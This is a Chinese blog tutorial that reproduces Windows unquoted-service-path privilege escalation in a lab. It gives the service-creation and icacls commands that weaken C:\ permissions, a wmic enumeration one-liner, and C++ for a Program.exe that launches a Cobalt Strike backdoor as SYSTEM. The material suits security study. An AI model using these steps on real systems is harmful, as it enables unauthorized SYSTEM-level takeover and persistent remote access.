关注这个专栏的其他相关笔记:[内网安全] 内网渗透 - 学习手册-CSDN博客
0x01:Trusted Service Paths 提权原理
Windows 的服务通常都是以 System 权限运行的,所以系统在解析服务的可执行文件路径中的空格的时候也会以 System 权限进行解析,如果我们能够利用这一特性,就有机会提升权限。
如果在注册表中存在没有被引号包裹的服务路径,且该服务路径中存在空格,比如下面这样的服务路径,就很可能造成攻击者的提权:
C:\Program Files\Service Folder\testService.exe
针对上面这种服务路径,由于空格的截断以及 Windows 自身的系统特性,导致其实际解析流程如下:
C:\Program.exeC:\Program Files\Service.exeC:\Program Files\Service Folder\testService.exe
系统以空格作为分割符,首先找 C:\Program.exe 尝试运行,如果不存在该程序,则去启动 C:\Program Files\Service.exe 去尝试运行,若依旧不存在该程序,则再尝试去执行 C:\Program Files\Service Folder\testService.exe。注意了,此时都是以 SYSTEM 权限进行执行的。
所以我们只要在相应的目录下制作一个恶意的程序,让系统重启时以 SYSTEM 权限执行即可。所以,使用 Trusted Service Paths 进行提权的条件如下:
-
服务中存在没有被引号包裹的路径,且该路径中包含空格。
-
当前用户具有到对应目录下写文件的权限。
-
服务被系统高权限用户启动。
0x02:Trusted Service Paths 提权环境配置
复现环境
靶机 Windows 7:IP 192.168.0.124
攻击机 Kali Linux:IP 192.168.0.100,安装了 Cobalt Strike 服务端
攻击机 Windows 11:IP 192.168.0.1,安装了 Cobalt Strike 客户端,还配备了 C++ 环境
0x0201:创建不安全的服务
首先以 Administrator 系统最高管理员的身份登录 Windows 7(该用户需要手动启动,可以前参考前面的 操作系统权限介绍 中的内容),在 C:\Program Files 文件夹下创建一个 Service Folder 文件夹,假设这个文件夹就是管理员用来存放自己配置的服务的:
然后在其中手动创建一个 testService.exe 文件(这个文件啥内容都没有),假设这个就是管理员配置的系统服务程序:
然后调出 CMD 命令行,使用下面的命令,将这个程序添加进系统服务配置中,并将启动项方式设置为 Auto,以确保系统重启时会自动运行该程序:
sc create "testService" binpath= "C:\Program Files\Service Folder\testService.exe" start= auto# "testService" => 你注册的服务的名称# binpath => 你注册服务的程序路径# start => 注册服务的启动方式,auto 为开机自启
0x0202:查询系统服务启动方式和权限
1. 通过 CMD 命令行查询
在 CMD 命令行窗口中输入如下命令,查询 testService 启动方式和执行权限:
sc qc testService
2. 通过 Windows 服务功能查看
按住 Win + R 打开 “运行” 对话框,往里头填入 “services.msc” 命令即可调用 Windows 服务功能:
然后在该功能中,我们可以很轻松的就定位到我们刚刚创建的 testService 服务:
如上,testService 服务的可执行文件路径没有被引号包裹,且路径中存在空格,非常符合我们漏洞复现的要求。
如果你仔细在这里面翻找服务,可以看到,大部分的服务可执行文件路径似乎都没有加引号,然后为了给读者涨涨见识,下面贴出一张路径加了引号的服务图片,像这种服务就是无法利用的:
0x0203:为用户配置对应目录写入权限
1. 查看对应目录用户权限
在前面的配置中,我们创建了一个不安全的系统服务,对应的程序路径是:
C:\Program Files\Service Folder\testService.exe
针对该路径,为了让后续渗透方利用的舒心,我们还要给低权限用户配置一个对应路径的写权限,针对上面这个文件,我们需要配置的低权限用户具有写入权限的路径有(选一个即可):
C:\C:\Program Files\C:\Program Files\Service Folder\ # 如果对该目录有读写修改权限,我们可以直接重写服务内容
我们先来查看一下上面这两个目录的默认配置(由于是 C 盘,所以默认权限都限制的比较严格):
icacls "C:\\" # 查询 C:\ 目录下的权限icacls "C:\\Program Files" # 查询 C:\Program Files 目录下的权限icacls "C:\\Program Files\\Service Folder"
如上,可以看到,针对 C:\ 目录,Users 用户组的普通用户只有 RX 读取和执行权限,没有写入权限,所以为了后续的漏洞利用,我们还需要赋予普通用户目录写入的权限。同时,我们还注意到,该目录的完整性级别为 High Mandatory Level,证明只有管理员级别的用户可以访问该目录,我们的普通用户是无法操作此目录的,所以我们后续还需要降低目录的完整性级别。
icacls
标识对应的权限W:写权限;R 读权限;X 执行权限;F 完全访问权限;M 修改权限。
2. 赋予用户对应目录写入权限
下面我们针对 C:\
目录,赋予低权限用户写入权限。
2.1 赋予用户对应目录写入权限 — 命令行方式
输入下面的命令,赋予系统内置的 Users 用户组对应目录(C:\
)的写入权限:
icacls "C:\\" /grant "BUILTIN\Users":(w) # 授予用户组对应目录写权限
如上,系统内置的 Users 用户组已经成功获得了对应目录的写权限。但是其实此时 Users 用户组中的用户还是无法在 C:\
目录下创建文件的,因为被 C:\
的目录完整性级别限制了,所以我们还得降低 C:\
目录的完整性级别,让 Users 用户组得以写文件到目标路径。
3. (可选)降低目录/文件完整性级别
我们上面通过 icacls
工具设置的是目录的 NTFS 权限,NTFS(New Technology File System)是 Windows 操作系统中常用的文件系统,它支持对文件和目录设置详细的权限控制。
但是我们这边讲解的 ”完整性级别“ 是独立于 NTFS 权限的一种安全机制。即使 NTFS 权限允许访问了,如果完整性级别不匹配,访问仍然会被拒绝。 所以这里,我们就需要降低C:\
目录的完整性级别,以允许低级别用户进行操作。
3.1 目录/文件完整性级别介绍
完整性级别是 Windows 中用于控制资源访问的安全机制,通常与用户账户控制(UAC)相关。
Windows 中的完整性级别分为以下几种:
-
Low(L):最低级别,通常用于浏览器等低权限进程。
-
Medium(M):默认级别,普通用户进程运行在此级别。
-
High(H):管理员权限进程运行在此级别。
-
System(S):系统内核和核心服务运行在此级别。
Windows 完整性级别的使用场景可以分为以下几个方面:
3.1.1 降低权限:将完整性设置为 Low(L)
-
场景:
-
适用于需要严格限制访问权限的目录或文件。
-
通常用于隔离低信任度的应用程序或数据(如浏览器缓存、临时文件等)。
-
-
作用:
-
只有运行在 Low(L)完整性级别的进程(如浏览器沙盒)可以访问这些资源。
-
运行在 Medium(M)或更高完整性级别的进程(如普通用户程序)无法访问。
-
-
示例:
-
将浏览器下载目录的完整性级别设置为 Low,以防止恶意软件通过下载的文件影响系统。
-
icacls "C:\Downloads" /setintegritylevel L
3.1.2 恢复默认:将完整性级别设置为 Medium(M)
-
场景:
-
适用于普通用户目录或文件,恢复默认的访问权限。
-
当目录或文件的完整性级别被错误地设置为 Low 或 High 时,可以使用此操作恢复默认。
-
-
作用:
-
运行运行在 Medium(M)或更高完整性级别的进程访问。
-
这是大多数用户程序和文件的默认级别。
-
-
示例:
-
将某个目录恢复为默认的完整性级别:
-
icacls "C:\ExampleFolder" /setintegritylevel M
3.1.3 提高权限:将完整性级别设置为 High(H)
-
场景:
-
适用于需要高安全性的目录或文件。
-
通常用于保护系统关键文件或管理员专用文件。
-
-
作用:
-
只有运行在 High(H)或 System(S)完整性级别的进程(如管理员程序)可以访问。
-
运行在 Medium(M)或更低完整性级别的进程(如普通用户程序)无法访问。
-
-
示例:
-
将某个包含敏感数据的目录设置为 High,以限制只有管理员可以访问:
-
icacls "C:\SensitiveData" /setintegritylevel H
3.2 降低 C:\ 目录完整性级别
输入下面的命令,修改 C:\
目录完整性为 Medium,以允许普通用户对该目录有操作权限:
icacls "C:\\" /setintegritylevel M
4. 提权环境检查
我们切换到 Windows 系统中的一个标准用户,笔者这里选择的是 test01 用户:
然后跑到 C:\
下,看看我们可不可以新建文本文件,如果可以,证明你的环境就 OK 了:
0x03:Trusted Service Paths 提权漏洞复现
0x0301:拿到靶机低权限用户 Shell
既然是提权,我们肯定得先拿到靶机的一个低权限用户,此处,我们就以上面的一般用户 test01 为例,来演示如何提权到 SYSTEM。
在 Kali 上开启 CS 服务端,并在 Windows 11 辅助机上使用 CS 客户端进行连接:
我们在 CS 中创建一个监听器,监听 CS 服务端的 4444 端口。然后使用该监听器创建一个 Windows 后门程序 artifact.exe,并上传到 Windows 7 靶机中:
双击 artifact.exe 文件,获取靶机的低权限 Shell:
下面,我们就要开始使用 Trusted Service Paths 进行提权了。
0x0302:定位不安全的服务
在 CS 中输入下面的命令,定位靶机中没有配置引号,且带有空格路径的服务:
wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\\Windows\\" | findstr /i /v """
如上成功发现有一个服务十分符合我们的要求,整理一下显示如下:
name : testService
displayname : testService
pathname : C:\Program Files\Service Folder\testService.exe
startmode : Auto
0x0303:检查特定目录是否具有写权限
针对上面获得的那个服务,我们可以利用的提权路径有以下几条:
C:\
C:\Program Files\
C:\Program Files\Service Folder\
我们先来查看以下我们当前用户所属的组:
whoami /groups
如上,我们当前用户属于本地的 Users
用户组,具有 Medium 的完整性级别。知道了这些信息,接下里,我们来一个一个查看目录权限,看我们对其是否具有写入权限:
icacls "C:\\"
如上,C:\
是一个可被利用的目录。
0x0304:制作服务劫持程序
在前面的信息收集中,我们发现目标靶机上存在一个可被利用的服务,其服务程序路径为:
C:\Program Files\Service Folder\testService.exe
又通过信息收集,发现了当前用户对 C:\
具有写权限。所以接下来,我们将要在目标的 C:\
目录下,创建一个 Program.exe
程序,利用 Windows 服务执行特性,进行提权。
这里我们采用 C++ 来制作恶意程序(因为 C 程序编译后会直接生成一个 exe 文件,采用其他编程语言的话你还得自己打包,很麻烦),下面是程序代码:
#include <stdio.h>
#include <stdlib.h>int main() {system("cmd.exe /c C:\\Users\\test01\\Desktop\\artifact.exe");return 0;
}
这个程序的逻辑很简单,运行后,会通过 CMD 执行一遍我们用 CS 制作的 Windows 反弹连接的木马文件(我们前面拿到靶机的低权限 Shell 就是用的这个文件)。
将上面的程序编译后,保存为 Program.exe
,并将该 EXE 文件上传到靶机的 C:\
下:
0x0305:等待靶机重启 & 提权成功
当我们将上面这一切都准备好后,接下来就是等待管理员重启计算机了。因为只有重启计算机了,那些开机自启的服务才会自动执行,只有服务被执行,才会触发我们刚刚创建的劫持文件。
这里,我们手动重启一下靶机(一般低权限用户是无法重启电脑的)。重启后靶机显示如下(可能是笔者制作的木马的问题,当然,更可能是木马存放路径的问题):
显示 C:\Program.exe 文件有问题,其实已经证明了 Windows 服务的解析漏洞是存在的。等待一会,即可看到 CS 上上线了目标靶机的 SYSTEM 用户,证明我们提权成功: